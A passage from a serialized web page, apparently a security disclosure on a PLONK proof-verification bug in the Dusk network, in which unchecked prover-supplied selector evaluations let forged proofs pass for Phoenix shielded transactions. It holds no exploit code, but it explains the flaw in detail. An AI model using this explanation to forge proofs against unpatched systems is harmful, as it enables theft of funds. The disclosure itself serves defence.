",{"type":23,"tag":64,"props":143096,"children":143099},{"href":143097,"rel":143098},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[68],[143100],{"type":23,"tag":135,"props":143101,"children":143103},{"className":143102},[],[143104],{"type":28,"value":143105},"ProtocolTransaction::Phoenix",{"type":28,"value":143107}," goes through ",{"type":23,"tag":64,"props":143109,"children":143112},{"href":143110,"rel":143111},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[68],[143113],{"type":23,"tag":135,"props":143114,"children":143116},{"className":143115},[],[143117],{"type":28,"value":143118},"verify_proof_with_version()",{"type":28,"value":143120}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":24,"props":143122,"children":143123},{},[143124,143126,143137,143139,143150,143151,143162,143163,143174,143175,143186],{"type":28,"value":143125},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":64,"props":143127,"children":143130},{"href":143128,"rel":143129},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[68],[143131],{"type":23,"tag":135,"props":143132,"children":143134},{"className":143133},[],[143135],{"type":28,"value":143136},"phoenix()",{"type":28,"value":143138},", for example in ",{"type":23,"tag":64,"props":143140,"children":143143},{"href":143141,"rel":143142},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[68],[143144],{"type":23,"tag":135,"props":143145,"children":143147},{"className":143146},[],[143148],{"type":28,"value":143149},"phoenix_stake()",{"type":28,"value":1052},{"type":23,"tag":64,"props":143152,"children":143155},{"href":143153,"rel":143154},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[68],[143156],{"type":23,"tag":135,"props":143157,"children":143159},{"className":143158},[],[143160],{"type":28,"value":143161},"phoenix_stake_reward()",{"type":28,"value":1052},{"type":23,"tag":64,"props":143164,"children":143167},{"href":143165,"rel":143166},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[68],[143168],{"type":23,"tag":135,"props":143169,"children":143171},{"className":143170},[],[143172],{"type":28,"value":143173},"phoenix_unstake()",{"type":28,"value":4490},{"type":23,"tag":64,"props":143176,"children":143179},{"href":143177,"rel":143178},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[68],[143180],{"type":23,"tag":135,"props":143181,"children":143183},{"className":143182},[],[143184],{"type":28,"value":143185},"phoenix_to_moonlight()",{"type":28,"value":143187},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":24,"props":143189,"children":143190},{},[143191],{"type":23,"tag":429,"props":143192,"children":143195},{"alt":143193,"src":143194},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":24,"props":143197,"children":143198},{},[143199,143201,143207,143209,143216],{"type":28,"value":143200},"The PLONK implementation, ",{"type":23,"tag":64,"props":143202,"children":143205},{"href":143203,"rel":143204},"https://github.com/dusk-network/plonk",[68],[143206],{"type":28,"value":139810},{"type":28,"value":143208},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":64,"props":143210,"children":143213},{"href":143211,"rel":143212},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[68],[143214],{"type":28,"value":143215},"the original paper",{"type":28,"value":143217}," was released.",{"type":23,"tag":24,"props":143219,"children":143220},{},[143221,143223,143229],{"type":28,"value":143222},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":64,"props":143224,"children":143227},{"href":143225,"rel":143226},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[68],[143228],{"type":28,"value":45481},{"type":28,"value":143230},". The circuit enforces the following set of constraints:",{"type":23,"tag":53643,"props":143232,"children":143233},{},[143234,143250],{"type":23,"tag":120902,"props":143235,"children":143236},{},[143237],{"type":23,"tag":120906,"props":143238,"children":143239},{},[143240,143245],{"type":23,"tag":120910,"props":143241,"children":143242},{},[143243],{"type":28,"value":143244},"Circuit check",{"type":23,"tag":120910,"props":143246,"children":143247},{},[143248],{"type":28,"value":143249},"Statement being checked",{"type":23,"tag":120930,"props":143251,"children":143252},{},[143253,143271,143289,143307,143325,143482,143622,143640],{"type":23,"tag":120906,"props":143254,"children":143255},{},[143256,143266],{"type":23,"tag":120937,"props":143257,"children":143258},{},[143259],{"type":23,"tag":64,"props":143260,"children":143263},{"href":143261,"rel":143262},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[68],[143264],{"type":28,"value":143265},"Merkle tree membership",{"type":23,"tag":120937,"props":143267,"children":143268},{},[143269],{"type":28,"value":143270},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":120906,"props":143272,"children":143273},{},[143274,143284],{"type":23,"tag":120937,"props":143275,"children":143276},{},[143277],{"type":23,"tag":64,"props":143278,"children":143281},{"href":143279,"rel":143280},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[68],[143282],{"type":28,"value":143283},"Input-note secret-key authorization",{"type":23,"tag":120937,"props":143285,"children":143286},{},[143287],{"type":28,"value":143288},"The prover knows the secret key controlling each input note",{"type":23,"tag":120906,"props":143290,"children":143291},{},[143292,143302],{"type":23,"tag":120937,"props":143293,"children":143294},{},[143295],{"type":23,"tag":64,"props":143296,"children":143299},{"href":143297,"rel":143298},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[68],[143300],{"type":28,"value":143301},"Nullifier correctness",{"type":23,"tag":120937,"props":143303,"children":143304},{},[143305],{"type":28,"value":143306},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":120906,"props":143308,"children":143309},{},[143310,143320],{"type":23,"tag":120937,"props":143311,"children":143312},{},[143313],{"type":23,"tag":64,"props":143314,"children":143317},{"href":143315,"rel":143316},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[68],[143318],{"type":28,"value":143319},"Output value commitment correctness",{"type":23,"tag":120937,"props":143321,"children":143322},{},[143323],{"type":28,"value":143324},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":120906,"props":143326,"children":143327},{},[143328,143338],{"type":23,"tag":120937,"props":143329,"children":143330},{},[143331],{"type":23,"tag":64,"props":143332,"children":143335},{"href":143333,"rel":143334},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[68],[143336],{"type":28,"value":143337},"Balance integrity",{"type":23,"tag":120937,"props":143339,"children":143340},{},[143341],{"type":23,"tag":135,"props":143342,"children":143344},{"className":143343},[1981,1982],[143345],{"type":23,"tag":139,"props":143346,"children":143348},{"className":143347},[1987],[143349],{"type":23,"tag":139,"props":143350,"children":143352},{"className":143351,"ariaHidden":1993},[1992],[143353,143393,143433,143465],{"type":23,"tag":139,"props":143354,"children":143356},{"className":143355},[1998],[143357,143361,143366,143370,143380,143384,143389],{"type":23,"tag":139,"props":143358,"children":143360},{"className":143359,"style":2110},[2003],[],{"type":23,"tag":139,"props":143362,"children":143364},{"className":143363,"style":19639},[19632,19637,19638],[143365],{"type":28,"value":106746},{"type":23,"tag":139,"props":143367,"children":143369},{"className":143368,"style":2128},[2089],[],{"type":23,"tag":139,"props":143371,"children":143373},{"className":143372},[2009,28],[143374],{"type":23,"tag":139,"props":143375,"children":143377},{"className":143376},[2009],[143378],{"type":28,"value":143379},"inputs",{"type":23,"tag":139,"props":143381,"children":143383},{"className":143382,"style":2187},[2089],[],{"type":23,"tag":139,"props":143385,"children":143387},{"className":143386},[2192],[143388],{"type":28,"value":1067},{"type":23,"tag":139,"props":143390,"children":143392},{"className":143391,"style":2187},[2089],[],{"type":23,"tag":139,"props":143394,"children":143396},{"className":143395},[1998],[143397,143401,143406,143410,143420,143424,143429],{"type":23,"tag":139,"props":143398,"children":143400},{"className":143399,"style":2110},[2003],[],{"type":23,"tag":139,"props":143402,"children":143404},{"className":143403,"style":19639},[19632,19637,19638],[143405],{"type":28,"value":106746},{"type":23,"tag":139,"props":143407,"children":143409},{"className":143408,"style":2128},[2089],[],{"type":23,"tag":139,"props":143411,"children":143413},{"className":143412},[2009,28],[143414],{"type":23,"tag":139,"props":143415,"children":143417},{"className":143416},[2009],[143418],{"type":28,"value":143419},"outputs",{"type":23,"tag":139,"props":143421,"children":143423},{"className":143422,"style":2090},[2089],[],{"type":23,"tag":139,"props":143425,"children":143427},{"className":143426},[2095],[143428],{"type":28,"value":2382},{"type":23,"tag":139,"props":143430,"children":143432},{"className":143431,"style":2090},[2089],[],{"type":23,"tag":139,"props":143434,"children":143436},{"className":143435},[1998],[143437,143442,143452,143456,143461],{"type":23,"tag":139,"props":143438,"children":143441},{"className":143439,"style":143440},[2003],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":139,"props":143443,"children":143445},{"className":143444},[2009,28],[143446],{"type":23,"tag":139,"props":143447,"children":143449},{"className":143448},[2009],[143450],{"type":28,"value":143451},"fee",{"type":23,"tag":139,"props":143453,"children":143455},{"className":143454,"style":2090},[2089],[],{"type":23,"tag":139,"props":143457,"children":143459},{"className":143458},[2095],[143460],{"type":28,"value":2382},{"type":23,"tag":139,"props":143462,"children":143464},{"className":143463,"style":2090},[2089],[],{"type":23,"tag":139,"props":143466,"children":143468},{"className":143467},[1998],[143469,143473],{"type":23,"tag":139,"props":143470,"children":143472},{"className":143471,"style":113006},[2003],[],{"type":23,"tag":139,"props":143474,"children":143476},{"className":143475},[2009,28],[143477],{"type":23,"tag":139,"props":143478,"children":143480},{"className":143479},[2009],[143481],{"type":28,"value":59863},{"type":23,"tag":120906,"props":143483,"children":143484},{},[143485,143502],{"type":23,"tag":120937,"props":143486,"children":143487},{},[143488,143495,143496],{"type":23,"tag":64,"props":143489,"children":143492},{"href":143490,"rel":143491},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[68],[143493],{"type":28,"value":143494},"Range checks on inputs",{"type":28,"value":9002},{"type":23,"tag":64,"props":143497,"children":143500},{"href":143498,"rel":143499},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[68],[143501],{"type":28,"value":143419},{"type":23,"tag":120937,"props":143503,"children":143504},{},[143505,143507],{"type":28,"value":143506},"All note values lie in ",{"type":23,"tag":135,"props":143508,"children":143510},{"className":143509},[1981,1982],[143511],{"type":23,"tag":139,"props":143512,"children":143514},{"className":143513},[1987],[143515],{"type":23,"tag":139,"props":143516,"children":143518},{"className":143517,"ariaHidden":1993},[1992],[143519,143604],{"type":23,"tag":139,"props":143520,"children":143522},{"className":143521},[1998],[143523,143527,143532,143537,143542,143546,143591,143595,143600],{"type":23,"tag":139,"props":143524,"children":143526},{"className":143525,"style":113263},[2003],[],{"type":23,"tag":139,"props":143528,"children":143530},{"className":143529},[19725],[143531],{"type":28,"value":1723},{"type":23,"tag":139,"props":143533,"children":143535},{"className":143534},[2009],[143536],{"type":28,"value":2021},{"type":23,"tag":139,"props":143538,"children":143540},{"className":143539},[2121],[143541],{"type":28,"value":2124},{"type":23,"tag":139,"props":143543,"children":143545},{"className":143544,"style":2128},[2089],[],{"type":23,"tag":139,"props":143547,"children":143549},{"className":143548},[2009],[143550,143555],{"type":23,"tag":139,"props":143551,"children":143553},{"className":143552},[2009],[143554],{"type":28,"value":1099},{"type":23,"tag":139,"props":143556,"children":143558},{"className":143557},[2025],[143559],{"type":23,"tag":139,"props":143560,"children":143562},{"className":143561},[2030],[143563],{"type":23,"tag":139,"props":143564,"children":143566},{"className":143565},[2035],[143567],{"type":23,"tag":139,"props":143568,"children":143570},{"className":143569,"style":2004},[2040],[143571],{"type":23,"tag":139,"props":143572,"children":143573},{"style":2044},[143574,143578],{"type":23,"tag":139,"props":143575,"children":143577},{"className":143576,"style":2050},[2049],[],{"type":23,"tag":139,"props":143579,"children":143581},{"className":143580},[2055,2056,2057,2058],[143582],{"type":23,"tag":139,"props":143583,"children":143585},{"className":143584},[2009,2058],[143586],{"type":23,"tag":139,"props":143587,"children":143589},{"className":143588},[2009,2058],[143590],{"type":28,"value":27445},{"type":23,"tag":139,"props":143592,"children":143594},{"className":143593,"style":2090},[2089],[],{"type":23,"tag":139,"props":143596,"children":143598},{"className":143597},[2095],[143599],{"type":28,"value":2069},{"type":23,"tag":139,"props":143601,"children":143603},{"className":143602,"style":2090},[2089],[],{"type":23,"tag":139,"props":143605,"children":143607},{"className":143606},[1998],[143608,143612,143617],{"type":23,"tag":139,"props":143609,"children":143611},{"className":143610,"style":2110},[2003],[],{"type":23,"tag":139,"props":143613,"children":143615},{"className":143614},[2009],[143616],{"type":28,"value":647},{"type":23,"tag":139,"props":143618,"children":143620},{"className":143619},[19747],[143621],{"type":28,"value":13423},{"type":23,"tag":120906,"props":143623,"children":143624},{},[143625,143635],{"type":23,"tag":120937,"props":143626,"children":143627},{},[143628],{"type":23,"tag":64,"props":143629,"children":143632},{"href":143630,"rel":143631},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[68],[143633],{"type":28,"value":143634},"Sender-authorship signatures",{"type":23,"tag":120937,"props":143636,"children":143637},{},[143638],{"type":28,"value":143639},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":120906,"props":143641,"children":143642},{},[143643,143653],{"type":23,"tag":120937,"props":143644,"children":143645},{},[143646],{"type":23,"tag":64,"props":143647,"children":143650},{"href":143648,"rel":143649},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[68],[143651],{"type":28,"value":143652},"Sender encryption correctness",{"type":23,"tag":120937,"props":143654,"children":143655},{},[143656],{"type":28,"value":143657},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":24,"props":143659,"children":143660},{},[143661,143663,143669,143671,143680],{"type":28,"value":143662},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":135,"props":143664,"children":143666},{"className":143665},[],[143667],{"type":28,"value":143668},"tx.public_inputs()",{"type":28,"value":143670}," via ",{"type":23,"tag":64,"props":143672,"children":143674},{"href":143110,"rel":143673},[68],[143675],{"type":23,"tag":135,"props":143676,"children":143678},{"className":143677},[],[143679],{"type":28,"value":143118},{"type":28,"value":73},{"type":23,"tag":24,"props":143682,"children":143683},{},[143684],{"type":28,"value":143685},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":16800,"props":143687,"children":143688},{},[],{"type":23,"tag":41,"props":143690,"children":143691},{"id":88205},[143692],{"type":28,"value":143693},"The bug",{"type":23,"tag":24,"props":143695,"children":143696},{},[143697,143699,143706,143708,143719],{"type":28,"value":143698},"In the ",{"type":23,"tag":64,"props":143700,"children":143703},{"href":143701,"rel":143702},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[68],[143704],{"type":28,"value":143705},"PLONK verification",{"type":28,"value":143707},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":64,"props":143709,"children":143712},{"href":143710,"rel":143711},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[68],[143713],{"type":23,"tag":135,"props":143714,"children":143716},{"className":143715},[],[143717],{"type":28,"value":143718},"E_evals",{"type":28,"value":143720},") are:",{"type":23,"tag":14699,"props":143722,"children":143723},{},[143724,143756,143781,143806],{"type":23,"tag":801,"props":143725,"children":143726},{},[143727,143733,143734,143740,143741,143747,143748,143754],{"type":23,"tag":135,"props":143728,"children":143730},{"className":143729},[],[143731],{"type":28,"value":143732},"a_eval",{"type":28,"value":1052},{"type":23,"tag":135,"props":143735,"children":143737},{"className":143736},[],[143738],{"type":28,"value":143739},"b_eval",{"type":28,"value":1052},{"type":23,"tag":135,"props":143742,"children":143744},{"className":143743},[],[143745],{"type":28,"value":143746},"c_eval",{"type":28,"value":1052},{"type":23,"tag":135,"props":143749,"children":143751},{"className":143750},[],[143752],{"type":28,"value":143753},"d_eval",{"type":28,"value":143755}," (witness)",{"type":23,"tag":801,"props":143757,"children":143758},{},[143759,143765,143766,143772,143773,143779],{"type":23,"tag":135,"props":143760,"children":143762},{"className":143761},[],[143763],{"type":28,"value":143764},"s_sigma_1_eval",{"type":28,"value":1052},{"type":23,"tag":135,"props":143767,"children":143769},{"className":143768},[],[143770],{"type":28,"value":143771},"s_sigma_2_eval",{"type":28,"value":1052},{"type":23,"tag":135,"props":143774,"children":143776},{"className":143775},[],[143777],{"type":28,"value":143778},"s_sigma_3_eval",{"type":28,"value":143780}," (permutation)",{"type":23,"tag":801,"props":143782,"children":143783},{},[143784,143790,143791,143797,143798,143804],{"type":23,"tag":135,"props":143785,"children":143787},{"className":143786},[],[143788],{"type":28,"value":143789},"a_w_eval",{"type":28,"value":1052},{"type":23,"tag":135,"props":143792,"children":143794},{"className":143793},[],[143795],{"type":28,"value":143796},"b_w_eval",{"type":28,"value":1052},{"type":23,"tag":135,"props":143799,"children":143801},{"className":143800},[],[143802],{"type":28,"value":143803},"d_w_eval",{"type":28,"value":143805}," (shifted witness)",{"type":23,"tag":801,"props":143807,"children":143808},{},[143809,143815],{"type":23,"tag":135,"props":143810,"children":143812},{"className":143811},[],[143813],{"type":28,"value":143814},"z_eval",{"type":28,"value":143816}," (permutation accumulator)",{"type":23,"tag":24,"props":143818,"children":143819},{},[143820,143822,143826],{"type":28,"value":143821},"But the following selector evaluations were ",{"type":23,"tag":659,"props":143823,"children":143824},{},[143825],{"type":28,"value":16499},{"type":28,"value":143827}," included:",{"type":23,"tag":14699,"props":143829,"children":143830},{},[143831,143842,143853,143864],{"type":23,"tag":801,"props":143832,"children":143833},{},[143834,143840],{"type":23,"tag":135,"props":143835,"children":143837},{"className":143836},[],[143838],{"type":28,"value":143839},"q_arith_eval",{"type":28,"value":143841}," (arithmetic selector)",{"type":23,"tag":801,"props":143843,"children":143844},{},[143845,143851],{"type":23,"tag":135,"props":143846,"children":143848},{"className":143847},[],[143849],{"type":28,"value":143850},"q_c_eval",{"type":28,"value":143852}," (constant selector)",{"type":23,"tag":801,"props":143854,"children":143855},{},[143856,143862],{"type":23,"tag":135,"props":143857,"children":143859},{"className":143858},[],[143860],{"type":28,"value":143861},"q_l_eval",{"type":28,"value":143863}," (left selector)",{"type":23,"tag":801,"props":143865,"children":143866},{},[143867,143873],{"type":23,"tag":135,"props":143868,"children":143870},{"className":143869},[],[143871],{"type":28,"value":143872},"q_r_eval",{"type":28,"value":143874}," (right selector)",{"type":23,"tag":24,"props":143876,"children":143877},{},[143878,143880,143887,143888,143895,143896,143903,143904,143911],{"type":28,"value":143879},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":64,"props":143881,"children":143884},{"href":143882,"rel":143883},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[68],[143885],{"type":28,"value":143886},"proof struct",{"type":28,"value":1052},{"type":23,"tag":64,"props":143889,"children":143892},{"href":143890,"rel":143891},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[68],[143893],{"type":28,"value":143894},"transcript absorption",{"type":28,"value":1052},{"type":23,"tag":64,"props":143897,"children":143900},{"href":143898,"rel":143899},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[68],[143901],{"type":28,"value":143902},"arithmetic widget",{"type":28,"value":1052},{"type":23,"tag":64,"props":143905,"children":143908},{"href":143906,"rel":143907},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[68],[143909],{"type":28,"value":143910},"fixed-base ECC widget",{"type":28,"value":143912},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":24,"props":143914,"children":143915},{},[143916,143918,143922],{"type":28,"value":143917},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":659,"props":143919,"children":143920},{},[143921],{"type":28,"value":16499},{"type":28,"value":143923}," bugs:",{"type":23,"tag":14699,"props":143925,"children":143926},{},[143927,144067],{"type":23,"tag":801,"props":143928,"children":143929},{},[143930,143932,143977,143979,143985,143987,143992,143993,143998,143999,144004,144006,144012,144014,144059,144061,144066],{"type":28,"value":143931},"There is no prover-supplied ",{"type":23,"tag":135,"props":143933,"children":143935},{"className":143934},[1981,1982],[143936],{"type":23,"tag":139,"props":143937,"children":143939},{"className":143938},[1987],[143940],{"type":23,"tag":139,"props":143941,"children":143943},{"className":143942,"ariaHidden":1993},[1992],[143944],{"type":23,"tag":139,"props":143945,"children":143947},{"className":143946},[1998],[143948,143952,143957,143962,143967,143972],{"type":23,"tag":139,"props":143949,"children":143951},{"className":143950,"style":2110},[2003],[],{"type":23,"tag":139,"props":143953,"children":143955},{"className":143954},[2009,19596],[143956],{"type":28,"value":1123},{"type":23,"tag":139,"props":143958,"children":143960},{"className":143959},[19725],[143961],{"type":28,"value":262},{"type":23,"tag":139,"props":143963,"children":143965},{"className":143964,"style":111508},[2009,19596],[143966],{"type":28,"value":111511},{"type":23,"tag":139,"props":143968,"children":143970},{"className":143969,"style":91437},[2009,19596],[143971],{"type":28,"value":142641},{"type":23,"tag":139,"props":143973,"children":143975},{"className":143974},[19747],[143976],{"type":28,"value":1104},{"type":28,"value":143978}," field at all. ",{"type":23,"tag":135,"props":143980,"children":143982},{"className":143981},[],[143983],{"type":28,"value":143984},"ProofEvaluations",{"type":28,"value":143986}," contains ",{"type":23,"tag":135,"props":143988,"children":143990},{"className":143989},[],[143991],{"type":28,"value":143789},{"type":28,"value":1052},{"type":23,"tag":135,"props":143994,"children":143996},{"className":143995},[],[143997],{"type":28,"value":143796},{"type":28,"value":4490},{"type":23,"tag":135,"props":144000,"children":144002},{"className":144001},[],[144003],{"type":28,"value":143803},{"type":28,"value":144005},", but no ",{"type":23,"tag":135,"props":144007,"children":144009},{"className":144008},[],[144010],{"type":28,"value":144011},"c_w_eval",{"type":28,"value":144013},", so the verifier never consumes an unbound ",{"type":23,"tag":135,"props":144015,"children":144017},{"className":144016},[1981,1982],[144018],{"type":23,"tag":139,"props":144019,"children":144021},{"className":144020},[1987],[144022],{"type":23,"tag":139,"props":144023,"children":144025},{"className":144024,"ariaHidden":1993},[1992],[144026],{"type":23,"tag":139,"props":144027,"children":144029},{"className":144028},[1998],[144030,144034,144039,144044,144049,144054],{"type":23,"tag":139,"props":144031,"children":144033},{"className":144032,"style":2110},[2003],[],{"type":23,"tag":139,"props":144035,"children":144037},{"className":144036},[2009,19596],[144038],{"type":28,"value":1123},{"type":23,"tag":139,"props":144040,"children":144042},{"className":144041},[19725],[144043],{"type":28,"value":262},{"type":23,"tag":139,"props":144045,"children":144047},{"className":144046,"style":111508},[2009,19596],[144048],{"type":28,"value":111511},{"type":23,"tag":139,"props":144050,"children":144052},{"className":144051,"style":91437},[2009,19596],[144053],{"type":28,"value":142641},{"type":23,"tag":139,"props":144055,"children":144057},{"className":144056},[19747],[144058],{"type":28,"value":1104},{"type":28,"value":144060}," claim (",{"type":23,"tag":64,"props":144062,"children":144064},{"href":143882,"rel":144063},[68],[144065],{"type":28,"value":143886},{"type":28,"value":18750},{"type":23,"tag":801,"props":144068,"children":144069},{},[144070,144072,144159,144161,144253,144254,144261],{"type":28,"value":144071},"There is a fourth permutation commitment ",{"type":23,"tag":135,"props":144073,"children":144075},{"className":144074},[1981,1982],[144076],{"type":23,"tag":139,"props":144077,"children":144079},{"className":144078},[1987],[144080],{"type":23,"tag":139,"props":144081,"children":144083},{"className":144082,"ariaHidden":1993},[1992],[144084],{"type":23,"tag":139,"props":144085,"children":144087},{"className":144086},[1998],[144088,144092,144097,144154],{"type":23,"tag":139,"props":144089,"children":144091},{"className":144090,"style":2110},[2003],[],{"type":23,"tag":139,"props":144093,"children":144095},{"className":144094},[19725],[144096],{"type":28,"value":1723},{"type":23,"tag":139,"props":144098,"children":144100},{"className":144099},[2009],[144101,144106],{"type":23,"tag":139,"props":144102,"children":144104},{"className":144103,"style":91437},[2009,19596],[144105],{"type":28,"value":142536},{"type":23,"tag":139,"props":144107,"children":144109},{"className":144108},[2025],[144110],{"type":23,"tag":139,"props":144111,"children":144113},{"className":144112},[2030,19650],[144114,144143],{"type":23,"tag":139,"props":144115,"children":144117},{"className":144116},[2035],[144118,144138],{"type":23,"tag":139,"props":144119,"children":144121},{"className":144120,"style":91003},[2040],[144122],{"type":23,"tag":139,"props":144123,"children":144124},{"style":91484},[144125,144129],{"type":23,"tag":139,"props":144126,"children":144128},{"className":144127,"style":2050},[2049],[],{"type":23,"tag":139,"props":144130,"children":144132},{"className":144131},[2055,2056,2057,2058],[144133],{"type":23,"tag":139,"props":144134,"children":144136},{"className":144135},[2009,2058],[144137],{"type":28,"value":15541},{"type":23,"tag":139,"props":144139,"children":144141},{"className":144140},[19753],[144142],{"type":28,"value":19756},{"type":23,"tag":139,"props":144144,"children":144146},{"className":144145},[2035],[144147],{"type":23,"tag":139,"props":144148,"children":144150},{"className":144149,"style":91034},[2040],[144151],{"type":23,"tag":139,"props":144152,"children":144153},{},[],{"type":23,"tag":139,"props":144155,"children":144157},{"className":144156},[19747],[144158],{"type":28,"value":13423},{"type":28,"value":144160}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":135,"props":144162,"children":144164},{"className":144163},[1981,1982],[144165],{"type":23,"tag":139,"props":144166,"children":144168},{"className":144167},[1987],[144169],{"type":23,"tag":139,"props":144170,"children":144172},{"className":144171,"ariaHidden":1993},[1992],[144173],{"type":23,"tag":139,"props":144174,"children":144176},{"className":144175},[1998],[144177,144181,144238,144243,144248],{"type":23,"tag":139,"props":144178,"children":144180},{"className":144179,"style":2110},[2003],[],{"type":23,"tag":139,"props":144182,"children":144184},{"className":144183},[2009],[144185,144190],{"type":23,"tag":139,"props":144186,"children":144188},{"className":144187,"style":91437},[2009,19596],[144189],{"type":28,"value":142536},{"type":23,"tag":139,"props":144191,"children":144193},{"className":144192},[2025],[144194],{"type":23,"tag":139,"props":144195,"children":144197},{"className":144196},[2030,19650],[144198,144227],{"type":23,"tag":139,"props":144199,"children":144201},{"className":144200},[2035],[144202,144222],{"type":23,"tag":139,"props":144203,"children":144205},{"className":144204,"style":91003},[2040],[144206],{"type":23,"tag":139,"props":144207,"children":144208},{"style":91484},[144209,144213],{"type":23,"tag":139,"props":144210,"children":144212},{"className":144211,"style":2050},[2049],[],{"type":23,"tag":139,"props":144214,"children":144216},{"className":144215},[2055,2056,2057,2058],[144217],{"type":23,"tag":139,"props":144218,"children":144220},{"className":144219},[2009,2058],[144221],{"type":28,"value":15541},{"type":23,"tag":139,"props":144223,"children":144225},{"className":144224},[19753],[144226],{"type":28,"value":19756},{"type":23,"tag":139,"props":144228,"children":144230},{"className":144229},[2035],[144231],{"type":23,"tag":139,"props":144232,"children":144234},{"className":144233,"style":91034},[2040],[144235],{"type":23,"tag":139,"props":144236,"children":144237},{},[],{"type":23,"tag":139,"props":144239,"children":144241},{"className":144240},[19725],[144242],{"type":28,"value":262},{"type":23,"tag":139,"props":144244,"children":144246},{"className":144245,"style":111508},[2009,19596],[144247],{"type":28,"value":111511},{"type":23,"tag":139,"props":144249,"children":144251},{"className":144250},[19747],[144252],{"type":28,"value":1104},{"type":28,"value":1042},{"type":23,"tag":64,"props":144255,"children":144258},{"href":144256,"rel":144257},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[68],[144259],{"type":28,"value":144260},"permutation verifier key",{"type":28,"value":18750},{"type":23,"tag":24,"props":144263,"children":144264},{},[144265,144267,144277],{"type":28,"value":144266},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in 